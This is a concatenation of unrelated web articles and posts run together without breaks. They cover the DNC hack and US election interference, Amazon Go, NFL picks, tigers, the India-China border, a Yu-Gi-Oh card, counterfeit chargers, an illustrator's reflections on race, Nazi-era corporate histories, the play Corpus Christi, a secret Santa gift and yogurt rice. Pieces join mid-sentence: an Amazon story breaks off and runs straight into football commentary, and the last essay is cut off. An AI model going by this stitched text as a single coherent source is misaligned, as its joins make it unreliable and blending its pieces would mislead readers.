options under international law are extremely limited, according to Jack Goldsmith, a Harvard law professor and former US assistant attorney general. Goldsmith, who served at the Justice Department during the administration of George W. Bush and resigned after a dispute over the legal justifications for "enhanced interrogation" techniques, spoke on Tuesday about the DNC hack during a Yale University panel. "Assuming that the attribution is accurate," Goldsmith said, "the US has very little basis for a principled objection." In regard to the theft of data from the DNC and others, Goldsmith said that "it's hard to say that it violates international law, and the US acknowledges that it engages in the theft of foreign political data all the time." Goldsmith pointed out that when Director of the Office of National Intelligence James Clapper testified before Congress about a data breach at the Office of Personnel Management, which collected sensitive information on millions of individuals who had worked for or done business with the government, "He said, 'I'm really impressed with what they did, and I would have done the same thing if I could have.'" As far as the publication of the stolen data in a way intended to interfere with the US presidential election, Goldsmith noted that the US has a long history of interference in other countries' politics. "Misinformation campaigns are a core element of what the [Central Intelligence Agency] has done" since it was created, he said. Goldsmith cited a study published in August by Dov H. Levin of the Institute for Politics and Strategy at Carnegie Mellon University. The dataset for the study details all 117 known times the US and the USSR (later Russia) attempted to manipulate the outcome of elections in other countries. "This was either supporting one side, or taking actions to denigrate or harm the other side," explained Goldsmith. "And 69 percent of this was the US." Bad precedents In 1989, as a young Navy officer, I got a front-row seat to one of the more overt efforts by the US government to influence the results of a foreign election. I was in Panama, and the outskirts of Panama City were plastered with campaign signs for Guillermo Endara, the presidential candidate of the Democratic Alliance of Civic Opposition (ADOC), the opposition party challenging General Manuel Noriega's Democratic Revolutionary Party. The CIA funded Endara's campaign, giving him $10 million—a huge sum for a country of 2.4 million people. As an independent commission led by former Attorney General Ramsay Clark found in a report, "It is the per-capita equivalent of a foreign government spending over $1 billion to influence a US national election (five times the amount spent by George Bush and Michael Dukakis combined in the 1988 presidential election)." I left the country just before the election, which Endara apparently won based on exit polls—though that result wouldn't stand because of vote fraud by Noriega's supporters. A "dignity battalion" attacked Endara and his running mate with clubs. I returned in December to do a security inspection at Rodman Naval Station, only to find myself being ushered into a van to the nearby Air Force base in the early morning hours of December 20 to evacuate as the US "corrected" the election results with Operation Just Cause. There are many other examples, some of them less direct—such as US support for a 1973 coup in Chile that overthrew the elected government of socialist President Salvador Allende. Other US efforts to affect politics—even those within the Soviet Union—were more subtle. Goldsmith cited an example in the early 1950s, when "[Nikita] Khrushchev trashed Stalin in a party meeting. The CIA got a recording of it and leaked it to newspapers in an attempt to harm Khrushchev." "No piece of [the DNC hack] is different functionally" from what both the US and Russia have done in the past, Goldsmith said. What's different is that it's happening to the United States—and that doesn't feel good. Thanks to the Internet and the powerful asymmetric capabilities it provides, events like these are likely to continue. Cyber-disinformation campaigns can happen "with an ease and scale that dwarfs everything that happened before," Goldsmith noted. The threat of interference in politics through hacking and data manipulation might render all past precedents set by intelligence organizations moot. "Theft and publication of truthful information is small beans—what about theft and publication of faked information, which is hard to verify, or tampering with the vote itself?" Goldsmith said. "That could have huge consequences, the number of actors who could do this are many, and our ability to defend against it is uncertain." The Russian government has been preparing for this game for some time. Individuals aligned with the Russian government have used social media disinformation, denial of service attacks, and hacking campaigns to shape the political landscape in former Soviet states and elsewhere in Europe frequently over the last decade. China also has shown a willingness to use information operations to influence US politics—apparently hacking the networks of both Barack Obama and John McCain during the 2008 presidential election campaign, using information obtained about McCain's interactions with Taiwan to further its own political objectives. Echoing comments made by Edward Snowden last year, Goldsmith concluded, "The US has the most powerful cyber capabilities in the world... but we are very much also the most vulnerable, and we're going to be more and more on the losing end of the stick. I think this is just the beginning."Amazon’s first cashier-free convenience store was supposed to open to the public early this year, but apparently some big technology issues have the launch on hold. According to The Wall Street Journal, Amazon’s Go store currently only functions if there are fewer than 20 shoppers inside. Any more than that, and Amazon’s shopper-tracking technology breaks down, as people become too difficult to follow. Amazon is reportedly having trouble tracking products that are moved from their proper spot on a shelf, too. Amazon has big hopes for a retail expansion Amazon had been hoping to open the store by the end of March, according to the Journal. But the launch is now being delayed, and it’s unclear when the store might be ready to open. Amazon didn’t immediately respond to a request for comment. This is a setback for Amazon as
their blemishes against lackluster opponents. However, Arizona suffered a major blow to its No. 7-ranked defense in Week 15. As confirmed by the team's official Twitter account, star safety Tyrann Mathieu will miss the rest of the year with a torn ACL: ESPN Stats & Info highlighted the significance of losing the Honey Badger from their secondary: If the Packers offense was operating at their typical capacity, Mathieu's absence would cause a change in course. Yet they're averaging 22.9 points per game since their 6-0 start. Aaron Rodgers has registered a 60.8 completion percentage and 6.78 yards pass per attempt, both career lows since taking over the starting quarterback gig. “We just don't really have a clear-cut direction,” Rodgers said after Sunday's win over the Oakland Raiders, per ESPN.com's Jason Wilde. "We got into some stuff with John [Kuhn] in there and four receivers, but we were too inconsistent." The Cardinals offense certainly has a direction, leading the league with 422.9 total yards per game. In addition to regularly burning defenses deep, an injury to Chris Johnson forced them to upgrade their backfield. Registering 472 total yards in three starts, rookie David Johnson makes them a complete juggernaut. At their current diminished state, the Packers will fail to keep up. Minnesota Vikings (-4) vs. New York Giants Julie Jacobson/Associated Press This one should have carried upset appeal. Despite their 6-8 record, including a one-point loss to the New England Patriots and Sunday's three-point defeat to Carolina, the New York Giants sport a plus-15 point differential. The Minnesota Vikings, meanwhile, have outperformed their plus-24 margin to go 9-5. Entering Week 15, the Giants trailed the Vikings by one spot in Football Outsiders' team efficiency ratings. With Big Blue fighting for their season, this matchup was a tossup game in disguise. Now, not so much. Due to his unsportsmanlike actions against Carolina, the NFL suspended Odell Beckham Jr. for Sunday night's game. NFL on ESPN shared the league's official statement explaining their decision: Per the New York Daily News' Ralph Vacchiano, Beckham will appeal: The star wide receiver has found the end zone nine times over New York's last seven games, averaging 110.3 yards in the process. He accounts for 1,396 (35.8 percent) of Eli Manning's 3,900 passing yards. Unless Beckham wins his appeal, the Giants are in big trouble. Even after two promising games from Rashad Jennings, the Giants rank No. 24 in rushing offense and average 3.8 yards per carry. Against a top-10 Vikings passing defense, Manning has no vertical threat and no steady running back to back him up. Minnesota, on the other hand, should have its offensive star. According to ESPN's Josina Anderson, the Vikings expect Adrian Peterson to suit up despite spraining his ankle during their 38-17 victory over the Chicago Bears: Along with the NFL's leading rusher doing his thing, look for Teddy Bridgewater to stay hot against the league's worst defense. The second-year quarterback has completed three-quarters of his passes (42-of-56) over the past two games, securing five touchdowns and 10.11 yards per pass attempt. As a result, the Vikings will stamp their postseason ticket while the Giants get officially eliminated. Pittsburgh Steelers (-11.5) at Baltimore Ravens Friends to Foes, Ex-UGA Teammates Meet in Super Bowl Cooks Gave a Super Gift to This Rams Employee Mahomes Loves Ketchup as Much as Torching Defenses Bears Hoping to Ride Club Dub to the Super Bowl The Worst Fantasy Football Punishments for Last Place NFL Players Bring Soccer Traditions to the NFL JuJu Is a Man of the People Bills Superfan 'Pancho Billa' Continues to Inspire Happy 26th Birthday to OBJ 🎉 Mahomes Is 'Showtime' Off the Field Too Thielen's Ride from Underdog to Record-Breaking WR Shanahan and His Son Carter Are Hyped for Carter V Browns Winning Off the Field with Community Service Conner's Journey from Beating Cancer to Starting RB Does Donovan McNabb Deserve Your 2019 Pro Football Hall of Fame Vote? B/R Fantasy Expert Matt Camp Gives His Picks for Keep or Release After Week 2 Does Hines Ward Deserve Your 2019 Pro Football Hall of Fame Vote? Shaquem Griffin Starting for Seahawks in Week 1 Luck Recommends His Favorite Reads in Virtual Book Club The Best Moments from NFL Training Camps Right Arrow Icon The Pittsburgh Steelers and Baltimore Ravens have a storied history of close battles. Except for when they're not. It took a Michael Vick sighting to cause an overtime game earlier in the season, cruelly causing onlookers to watch more plays with Vick under center. They once had a five-game streak of contests determined by three points or fewer, but last year halted the trend with each side seizing a regular-season tilt by 20 points. Some may point to years of bad blood and Baltimore's home-field advantage, but don't take the upset bait. Don't even take the "it could be closer than everyone thinks" bait. It won't be. The Steelers have averaged 35.0 points over their last six games, and the Ravens have registered 16.5 points per contest since losing Joe Flacco. Finally ending their series of single-score losses, Baltimore lost by 29 to the Seattle Seahawks and 20 to the Kansas City Chiefs. Fred Vuich/Associated Press Facing the NFL's No. 2 offense represents more cruelty from the scheduling gods. Antonio Brown and Martavis Bryant, possibly the league's best wide receiver duo, will welcome a defense which has allowed an NFL-high 25 touchdowns to opposing wideouts, per NFL.com. An increasingly popular title pick, the Steelers still need to wrangle a playoff spot from the Kansas City Chiefs or New York Jets. Since their shaky defense gets a reprieve in the form of Jimmy Clausen, an explosive offense will guide the way to a blowout.The afternoon sun shines on Tatiana, a Siberian (amur) tigress at the Toronto Zoo. She seems pretty tired as well.She certainly deserves this nap after the beating she took from her cubs. I have to admire her patience; having to deal with one growing cub can be trouble enough, but two?! My ankles and kneecaps shudder at the thought.I like the lighting in this photo. She looked so peaceful bathed in the light. I wish I could pull off such an epic snooze.---Tigers are the largest of the big cats and are exclusively found in Asia from India to Vietnam, from Indonesia to the Russian Far East. The tiger can be divided into 9 subspecies: 4 are currently critically endangered and 3 are already extinct. Though estimations of tiger populations only a few years ago was 5,500-6,000, today populations are likely closer to 3,500 and are still declining. Dramatic declines of the tiger in India, thought to host the majority of the worlds tigers, have fallen to less than 1,411. Overall, the past decade has seen a 40% reduction in tiger habitat, which now represents a mere 7% of its historic range. Poaching is a significant problem throughout the tigers range, the demand for its body parts in traditional medicines, tonics, and exotic dishes driving a lucrative trade that is wiping out entire populations. Long-term threats include habitat fragmentation and prey depletion, which is accelerating the tigers demise and subsequently reducing the long-term genetic viability of many populations.If you want to help, the best for you to do is to educate yourself ( [link] ), never buy products made from tigers or endangered species ( [link] ), and tell others. Contact me for more information.China on Thursday declined to give any timeline for withdrawal of its troops from Depsang valley in Ladakh but said the issue that has sparked new tension in bilateral ties will be resolved soon through negotiations. "You raised a very specific question and I want to reiterate that Chinese troops carry out normal patrols on Chinese side of the Line of Actual Control (LAC) between India and China," Chinese Foreign Ministry spokesperson, Hua Chunying told a media briefing. She was replying to a question about how long the Chinese troops intend to stay put at the Daulat Beg Oldi (DBO). "China and India are talking about the issue for a complete and appropriate settlement of the issue," she said referring to the current rounds of negotiations between army officials. While China was playing hardball the ante, India's External Affairs Minister Salman Khurshid was busy in his world of metaphors as he compared India with legendary boxer Muhammad Ali who tired his adversaries and then with a single left hook, floored them. Maintaining that India has such a history - that if someone wants to take a few blows at it, the country will be able to withstand them, he said, "All we should know is how to protect the face, how to protect the muscle that we would need to strike back. "I think in South Asia we see ourselves (India) as a little bit like Ali of those days which should be. We should know that we have the strength, we have the stamina, we have the bulk, that we have the presence, the reputation and we have the history that if someone wants to take a few blows at us we will be able to withstand them." As carried by Mail Today on May 3, 2013.Is Mike Pettine’s defense going to get another weapon? According to ESPN.com’s Jeremy Fowler, thems the hopes as the team is reportedly interested in former Buccaneers defensive end Adrian Clayborn. Here’s Fowler’s report: His name was mentioned in Browns circles during last week’s combine talks. The idea is Clayborn is a talented former first-rounder whose had two unproductive years in four chances because of injury. Clayborn should have a free-agent market but not as big as had he stayed healthy. In two healthy seasons, Clayborn had 13 sacks and five forced fumbles. A first-round pick in 2011, Clayborn has bit a bit of a disappointment for a Buccaneers team that drafted him in hopes of obtaining a dynamic pass rusher. What they received instead was a few injury-riddled seasons and just 16 sacks in 36 games played. What he did add, however, was some solid run defense and a boat load of tackles during his two healthy seasons, something the Browns desperately need heading into 2015 after getting torched on the ground during their 7-9 2014 campaign. As the folks at Dawgs by Nature have pointed out, Clayborn’s numbers are such where his market value may actually be at a discount compared to his true impact on the field. The Browns are expected to have some company when it comes to vying for some help on the defensive line, but remain as being in one of the best salary cap positions in the NFL. [Related: Browns Defensive Line — Year in Review]Just who is Subterror Fiendess? Where does her allegiance lie? She is seen battling against the Behemoths alongside the Subterror Nemeses in Subterror Final Battle, but she isn’t a Nemesis herself. Today’s Circuit Break showcase raises more questions, showing another side of Subterror Fiendess… as a Behemoth herself! Here she is, as Subterror Behemoth Fiendess! Subterror Behemoth Fiendess is a Link Monster, making her the first Subterror to be found in the Extra Deck. Ironically, as a Link Monster she is also the only Subterror that can’t be face-down – don’t worry, she more than makes up for it. Additionally, Fiendess is the first Subterror to fit into multiple strategies, since she simply requires any two Flip Effect monsters as Link Materials. Subterror Behemoth Fiendess starts with a nice 2000 ATK, and she’ll gain more ATK if you use Subterror monsters as her Link Materials – 100 ATK per their total Levels. With two Subterror Link Materials, she’ll never have less than 3000 ATK. If you’re feeling bold, you can get Fiendess as high as 4400 ATK with a pair of Subterror Behemoth Ultramafus! This new form of Fiendess has two great effects which help load your Graveyard, build your field, and refresh your hand with new monsters. Its Ignition Effect allows you to, once per turn, send any Flip monster from your Deck to the Graveyard. If you do that, you’ll then have the option to Special Summon any monster from your hand face-down in one of the zones Fiendess is pointing to. Next, Fiendess has a Trigger Effect that activates when a monster she points to gets flipped face-up. When that happens, you’ll get to add any Flip monster from your Deck or Graveyard to your hand! With her first effect loading the Graveyard, and the second loading your hand, Subterror Behemoth Fiendess is an obvious choice in any Flip Effect strategy. The first choice, of course, is Subterrors. You’ll need to get two Subterror Behemoths on the field to Link Summon her – something that Subterror Duelists know can be an easy task. Simply use their effects to Special Summon them from the hand! Flip Summon them next turn, use their effects, and Link Summon. If you don’t want to wait a turn, speed things up by flipping your monsters with The Hidden City or Subterror Final Battle. You can also bring Behemoths to the field with the original Subterror Fiendess, Subterror Nemesis Warrior, and Subterror Nemesis Archer. Once you’ve Link Summoned Subterror Behemoth Fiendess, it gets a little crazy. She’ll send Behemoths from your Deck to the Graveyard and simultaneously Special Summon a Subterror from your hand face-down. Since her Trigger Effect can activate multiple times, you can then go nuts with The Hidden City and Subterror Final Battle, getting a bunch more Flip monsters to your hand. My personal favorite combo is to flip up Subterror Behemoth Stalagmo multiple times. Put its Flip Effect as Chain Link 1, then Fiendess’s Trigger Effect as Chain Link 2. Fiendess will resolve first, adding any Behemoth to your hand, then Stalagmo will discard that Behemoth to draw two cards. Repeat as many times as possible using your Field Spell and Final Battle, and you’ll end up with a ton of cards out of nowhere! Shaddolls are the most infamous group of Flip monsters (Well, if you don’t count the many Jars on the Forbidden List…), and they can use Subterror Behemoth Fiendess to great effect. Have Fiendess use her first effect to send a Shaddoll from the Deck to the Graveyard, and you’ll not only get to Special Summon a monster from your hand – the sent Shaddoll’s effect will also activate in the Graveyard! Using Fiendess’s second effect to add more Shaddolls to your hand will also come in handy when you’re aiming to perform multiple Fusion Summons. Finally, you can perform the same Stalagmo combo mentioned above, instead using the effect of Shaddoll Beast! Fiendess will put a Shaddoll in your hand, then Beast will discard it. You’ll draw two cards and trigger the effect of the discarded Shaddoll. If you’re having trouble getting Beast into play, Fiendess can Special Summon it from your hand. The real trick will be to Link Summon Fiendess with Shaddolls. The strategy is known for fielding multiple Fusion Monsters, but not usually a bunch of their Flip monsters. Shaddoll Falco is an easy choice – its Flip Effect will bring another Shaddoll to the field, while its Graveyard effect will put itself on the field. Have Falco Special Summon another Shaddoll, then have Shaddoll Hound flip that card up as well, and you can Link Summon in the same turn. You can also incorporate Pendulum Monsters into Shaddolls, with Shaddoll Zefracore and Shaddoll Zefranaga. It’s no trouble to leverage a Pendulum Summon into the Link Summon of Subterror Behemoth Fiendess. Subterror Behemoth Fiendess is a card that will find a place in any Flip Effect strategy, from Subterrors to Shaddolls, to anything else! Rumor has it there’s a new group of Flip Effect monsters in Circuit Break…but you’ll have to dig that up yourself. Circuit Break is on sale now!A large-scale test of 400 fake Apple chargers bought online from eight different countries – including the USA – found that a staggering 99% failed safety tests. The BBC reports that the tests were commissioned by UK consumer protection body Chartered Trading Standards Institute, which found that of the 400 chargers purchased online, just three had sufficient insulation to protect against electric shocks in the most basic safety test performed. The CTSI urged consumers to buy only from reputable suppliers … NordVPN Leon Livermore, Chartered Trading Standards Institute chief executive, said: “Only buy second-hand electrical goods that have been tested and only buy online electrical goods from trusted suppliers. It might cost a few pounds more but counterfeit and second-hand goods are an unknown entity that could cost you your home or even your life, or the life of a loved-one.” The institute provided four pieces of advice when checking a new charger. Plug pins – Plug the charger into a socket, but don’t switch it on or connect to a device. If the charger does not fit easily, the pins may be the wrong size. There should be at least 9.5mm (0.3in) between the edge of the pins and the edge of the charger Markings – Look for a manufacturers’ brand name or logo, model and batch number. Check for the “CE” safety mark, but be aware it can be easily forged [FCC and UL in the US] Warnings and instructions – User instructions should include conditions and limitations of use, how to operate the charger safely, basic electric safety guidance and details of safe disposal Damage – Never use a charger that has a frayed cable or other visible damage However, some counterfeit chargers have fake markings and safety leaflets. Apple recently carried out its own tests on chargers sold on Amazon as ‘genuine’ Apple kit, finding that almost 90% of them were counterfeit. Amazon has since established a new Brand Registry program requiring sellers to obtain permission from brand owners before branded products can be offered for sale.So, this entry probably isn’t going to be very organized so forgive me for that ahead of time. Most of you know that I work as a children’s illustrator and I went to school for Character Animation at Cal Arts. Being an African American artist you face a few different walls of BS. You’re expected to like a certain type of art and draw certain types of characters and do certain types of stories. Being a black kid that was raised in a predominately non black area, I hated those expectations. So much so that in certain situations i’d go out of my way to contradict them. My most common theme in my art is mythology. I was raised on Greek Myths, The Lion The Witch and the Warddrobe and Brian Fraud. So my taste in terms of the racial portrayal of my characters tends to be white. A few months ago, I read an article about the creator of Scott Pilgram, Bryan Lee O'Malley that really forced me to look at myself. In this interview he essentially say that when he saw his comic on screen being portrayed by mainly white characters (Bryan is White and Korean but looks more korean), he had the shocking realization that all of his characters were white and that people of color were underrepresented. He explains his thought process behind creating the character and how little he thought about the actual race of the characters. He just designed the characters and they just happened to look white because he was raised being told that race wasn’t an issue. Reading this interview I was shocked to have that harsh realization that I have been doing the same thing. I’ve designed characters for my own personal projects-most of which had a fantasy theme and none of the characters were black. There may have been some characters that were vaguely ethnic, but if they were, they were mixed and that was part of their storyline and identity. I remember I had an old project where I forced myself to have a person of color as a main character but I never felt as invested in the story because of how I was trying to frame his ethnicity in a way that wasn’t necessarily ‘black’. Was he black? Was he Native American? Was he Indian? I had no clue but it frustrated me and made me less inclined to use the character. (cringing at my old art, i made this when i was 16!!) So I guess in a way it was 'easier’ for me to just use white characters and I guess in the back of my mind, they were more'relateable". I’ve been working on a book for the past few months. The main character is supposed to be a mixed child. I was super excited about this project as I have become more aware of the lack of POC representation in media. The book itself is revolutionary but it’s revolutionary for its inclusion of a black main character! However… when designing said character and going back and forth with design ideas I found myself a little disappointed in what we actually ended going with. I sent the author several designs based on real children that are mixed black and white. Most of which look visibly black like most mixed children would as black people tend to have dominant genes (dark hair, dark skin, dark eyes). I threw one in that looked, I would say, mostly white. Looser curls, lighter skin, a medium sized nose etc. Guess which design we went with? Now I guess I could have just not designed that character, but it seemed to be what the client wanted and I gave it to them. I’m ultimately happy with the character but part of me wishes we went with one of the other choices as they were more visibly mixed race. I find myself more and more frustrated with the lack of black characters in Cartoons/Illustration. When I was working for Fox Animation, the only african american character we made were ones that were twerking or acting 'ghetto’. They showed up as a joke and they were never dignified or presented as educated. They were always punch lines and I guess that really rubbed me the wrong way especially knowing that most of the directors and the people behind these ideas are white. I was going through a mermaid phase recently and I decided to do an illustration of a black mermaid. Mostly because it was requested from a youtube subscriber of mine, but also because I realized how little we actually saw black mermaids and how little they are represented in art. When I posted this illustration, it received an overwhelming amount of support. I was absolutely astonished. Not only that but people kept saying “YEMOJA”. I was like “what is that??” and then someone explained it to me that yemoja was an “orisha”, a spirit or deity that reflects one of the manifestations of god in the Yourba religion. Suddenly there was a whole new world for me to explore in my art. Gods and Goddesses that were BLACK that represented significant figures within a culture of people that look like me. I spent hours reading and listening to videos of people express their admiration for these figures and I have been inspired ever since. I never liked feeling like I had an obligation to draw black characters.. I hated that when I was young, my family members would ask me why i wasn’t drawing a black person and when I did they’d tell me that they didn’t look black. But I understand that need and that desire now. To be able to see yourself reflected and to be able to identify with a character that looks like you. My boyfriend has been reading a comic called Rat Queens. It’s an awesome fantasy based comic book with characters designed by a black artist named Roc Upchuch There’s a beautiful strong black female character (who happens to be an atheist!) named Dee and just SEEING her made me happy and gave me strength as a black female artist. This year has been a big one for me in the art department. and I am inspired now more than ever to use black characters in my illustrations. I’m glad that so many amazing artists have helped me open my eyes to recognizing the beauty within myself and I hope one day I can inspire other Black Artists to do the same and to recognize that we should be the ones making stories about people like us and we should be the ones making art celebrating blackness. I was inspired to make this post as I’m in the midst of working on an illustration for Earth Day: I can’t wait to show you all how it turns out. :)For a brief period in the late 1930s and 1940s, Adolf Hitler managed to redefine and personify evil in a way that even ancient mass-murderers such as Tamerlane and Genghis Khan never aspired to. By virtue of Hitler taking complete control of the most powerful country on the European continent, practically every existing business entity in Germany thus became a de facto instrument of this new and tyrannical government. At that time, doing business in Germany meant supporting Hitler, so it's not fair to frame all these businesses as enthusuastic Nazi collaborators. While some of these businesses exist and flourish today, it's likely that millions of their customers have no idea of these companies' past dealings with the Nazi party. Bayer It seems that almost any German multinational of a certain vintage can find a link to the Nazi regime. In some cases, that link is more direct than in others. Bayer was founded in Germany in 1863, and has been a household name in North America since not long after. Today, despite making everything from polymers to blood glucose monitors, Bayer remains most famous for being the company that first discovered (or more accurately, isolated) aspirin. The most outrageous thing about Bayer's connection to the Nazi regime is the timing. In 1956, Bayer welcomed a new chairman of the board: a second-generation chemist named Fritz ter Meer. Bayer's directors must have liked what they saw in Fritz ter Meer, whose resume included the study of law, employment with his father's company and three years in prison for war crimes. It's not as if ter Meer had been punished for, say, being ordered against his will to stand guard at Dachau. No, he helped plan Monowitz, a concentration camp better known as Auschwitz III. He also built the infamous Buna factory, where his colleagues conducted human experiments and forced slaves to build critical components for the Wehrmacht. Furthermore, Fritz ter Meer never denied his involvement, and he was sentenced to seven years in prison during the infamous Nuremburg Trials. However, ter Meer served less than half of his sentence. Even then, having been subjected to a wrist slap from a light and fluffy pillow, ter Meer didn't merely fall into obscurity. He not only held the highest executive position at Bayer, but also served on the boards of several other companies before retiring in the 1960s and dying of natural causes at the age of 83. Siemens Next time you're in your garage, look at the brand names of the products you find. If you own a damping pin, turbo compressor or fluoroscope, there's a good chance it carries the Siemens logo. The company is worth approximately $89 billion, employs roughly 370,000 people and claims to operate in about 190 countries. When World War II became the major topic of concern for Germany, Siemens was there. The company forced slaves to manufacture components for the rockets that ended up raining down on London and Antwerp, Belgium in short order. In the early 21st century, Siemens began to pay reparations to the workers it had paid nary a pfennig to 55 years earlier. IG Farben For some of us of a certain age, BASF was the company that made cassette tapes. Another German multinational that's been around since the 19th century, BASF is similar to Siemens in another way, in that it produces the unglamorous if vital things that make life better: engineering plastics, chemical coatings and polymers that their end users don't even notice. In 1925, BASF and a couple of partners formed an infamous conglomerate named IG Farben. One of the chemicals manufactured by the company at the time was Zyklon B, which was the gas used to suffocate untold millions of concentration camp prisoners during the Holocaust. In 1951, when the victors partitioned Germany, the Western Allies restored IG Farben into its original components. Today, BASF continues to trade as one of the featured securities on the Frankfurt Stock Exchange, with a market capitalization of over $60 billion. The Bottom Line In a world where Chick-Fil-A can face a boycott because of the religious views of its chairman, and British Petroleum can be the subject of virulent protests because of a tragic accident, it's tough to imagine what form of consumer activism would be appropriate if the companies featured on this list were doing business today with hated regimes.Corpus Christi is a passion play by Terrence McNally dramatizing the story of Jesus and the Apostles. It "follows a group of gay men who re-enact Christ's spiritual journey."[1] Written in 1997 and first staged in New York in 1998, it depicts Jesus and the Apostles as gay men living in modern-day Texas. It utilizes modern devices like television with anachronisms like Roman occupation. Jesus administers gay marriage between two apostles, and Judas betrays Jesus because of sexual jealousy. Reception [ edit ] The play received critical attention for its exploration of gay themes in Christianity.[2][1][3] It was also condemned by Catholic League, a Roman Catholic watchdog group, for what they viewed as blasphemy, sacrilege,[4][5] and anti-Christian bigotry. Playwright Terrence McNally, a gay man, received death threats when it was staged in the U.S.[6][7] Productions [ edit ] The planned production of the play in New York City was canceled and then reinstated.[8] Because of protests, the producer of the play, the Manhattan Theatre Club, withdrew the play in May 1998, worried about possible violence. They then quickly reinstated it, stating that they did not believe in censorship but also noting that security precautions would be taken. The play opened Off-Broadway in a Manhattan Theatre Club production at New York City Center Stage 1 on October 13, 1998, directed by Joe Mantello,[9] and closed on November 29, 1998. It received its British premiere in 2000, produced by Theatre 28 and directed by Stephen Henry. When it was produced as part of the Sydney Gay and Lesbian Mardi Gras, Anglican bishop Robert Forsyth considered the play to be offensive and historically incorrect.[6] The play was revived by the Off-Off-Broadway Rattlestick Playwrights Theater, running in October 2008. Jason Zinoman, reviewing for The New York Times, wrote that the premiere production was "an earnest and reverent spin on the Jesus story, with some soft-spoken, gay-friendly politics thrown in." He further noted that the play was "fragile, heartfelt" and "seems more personal than political, a coming-of-age story wrapped in religious sentiment."[10] The New York Times also published an article linking the uproar in 1998 to the death of gay student Matthew Shepard.[8] In March 2010, a student performance of the play was cancelled at Tarleton State University in Stephenville, Texas. The university had received many complaints about the play's scheduled performance, but its president, F. Dominic Dottavio, citing freedom of speech, declared that the play would be performed.[11] Dottavio's condemnation of the play in the same letter, though, has been criticized by campus free speech groups as giving encouragement to people trying to shut down the production.[12] After Texas's Lieutenant Governor David Dewhurst weighed in saying, "No one should have the right to use government funds or institutions to portray acts that are morally reprehensible to the vast majority of Americans," the performance was cancelled citing safety concerns.[13][14] The planned staging of the play in Athens, Greece, in October 2012 caught the attention of right-wing extremist organizations including the fascist parliamentary party Golden Dawn. This led to violent protests by party members and clergymen, with journalists and audience members being banned in the theater, and the premiere was cancelled.[15][16] An Off West End production took place at the Arcola Theatre in London UK, March 2018 as part of the Creative Disruption Festival. Documentary film [ edit ] A film about the staging of the play and its reception, titled Corpus Christi: Playing with Redemption, was released in 2011.[17] It was previewed at the Atlanta Film Festival on May 7, 2011.[18] For many years, rumors of a film of the play had circulated as an urban legend, calling for e-mail petitions to stop the film.[19][20] See also [ edit ] Notes [ edit ] Sources [ edit ]Baylor we are, and Baylor we'll always be. Robert Griffin's words are timeless for a reason. Here we are, sitting at 7-0, with possibly the greatest roster that Art Briles has ever assembled and Baylor is facing major adversity. I'm going to be honest, I had a video virtually already cut together. We were playing Iowa State (no offense WRNL), it was homecoming and Baylor had been straight steamrolling folks. Well, Seth Russell - the 3 star QB turned Heisman contender turned (well possibly he always was) freak of nature gets injured and suddenly the narrative has completely changed. As a result, you are about to watch (or for the impatient lot of you: you just watched) a very different video than you were originally intended to see. But guess what? It doesn't matter. It's time to believe in Jarrett Stidham and in this incredible team of men who we are fortunate enough to cheer on. If you aren't hyped - get out. #SicEm #BelieveThatMy secret Santa is a Christmas angel I wasn’t feeling that festive this year, probably due to the unseasonably warm weather, and the lack of decorations in my house and this being the first year that the To Do list took over from my usual enjoyment of the season. And then along came The Packages…. Look how beautifully decorated they are! I feel the sleigh deserves a special call out here! I was so excited to pick up the one that had been diverted to my local delivery office – I couldn’t wait to get them back and open them up! So, I opened up the first package as instructed. There was a letter! I read the letter! YES, I had scored an awesome secret santa- woo!!!! Ooh, I knew it was going to get real exciting! I was squealing like a child (and I’m nearly 33). Look at the cute origami cat note clues! This person has gone to a massive effort. Look at the gift-wrapping! Clearly a graduate of the Kirstie Allsopp School of Impressive Giftwrapping! Pam in particular enjoyed the plaited wool and I’m going to attempt to turn the pompom into a decoration for next year’s tree. It’s a cat hat! I love it, and have barely taken it off since. The cat-shaped cookie cutter is very cute and will inspire an infinite number of cat-shaped foodstuffs. Pam loved it too, and started to bite it! The cupcake cases and flags are super-cute and will make my baking efforts look fab! Ooh, a Great British Bake Off recipe book! Fab! And they’ve put their favourite recipe in there too! OK, this gave me all the feels and I started to well up. This was more than just a gift, this was restoring my faith in humanity. Yes, the world may contain buttholes like Donald Trump and Katie Hopkins, but it also contains generous, kind-hearted, thoughtful people like this wonderful gifter, who went to so much effort for a complete stranger. And then I saw the inscription and I lost it. Tears were shed. The final package – a very pretty gingerbread person cake stand. I love it! Can’t wait to start baking and getting some treats on this! This was one super amazing gift, and I was so fortunate to have this angel as my Santa this year. The time and effort that my Santa had put into this gift is truly appreciated and I was so touched by your thoughtfulness and kind words. The following day I made the cola cupcakes from your recipe and they were delicious! I’m going to try Mary’s chocolate gingerbread and stamp out with the cat cutter next week and may attempt something else from the book for back to work nibbles. All the while wearing my awesome cat hat J Wishing my very special Santa and all redditors a very merry Christmas Added bonus – the unfolded kitty looks like Yoda xxxWhen I ask my American friends what foods they think of as “Indian,” their answers don’t surprise me: naan, chicken tikka masala, samosas, saag paneer. The standard culinary perception of Indian food in America is North Indian, mostly riffs on foods from the state of Punjab modified to suit an American palate. For many, Indian cuisine is defined by its uncommon flavors and complicated preparation, the delicate amalgamation of brightly-hued spices and precise technique. But my favorite Indian dish is absolutely none of these things. Yogurt rice is boiled rice, yogurt, and perhaps a pinch of salt—as simple as its name implies. Its presentation, typically at the end of a meal, is far less glamorous than dessert. To the unaccustomed, yogurt rice is strange. It is pungent in scent, sour in taste, and gloppy in texture. Yet there isn’t a food in the world that is more comforting and important to me. As a child, my parents would force my sisters and me to go on long car trips across the United States. The six of us, too many suitcases, and a folder of MapQuest printouts would cram into a Ford Windstar with a busted AC. Though I can’t recall where we went or what we did to deserve such punishment, I remember containers of yogurt rice peeking out of the bright blue Igloo Cooler in the trunk. We bonded over the sour saltiness, shoving the grains into our mouths with our hands and crushing Lays potato chips to sprinkle on top, adding an American flourish to the existing garnish of coriander leaves, mustard seeds, and—if we were lucky—shredded mango and ginger. Shop the Story Memories of eating yogurt rice are bright spots from a childhood that was otherwise confusing and dysfunctional. In the car we would fight and yell, but at rest
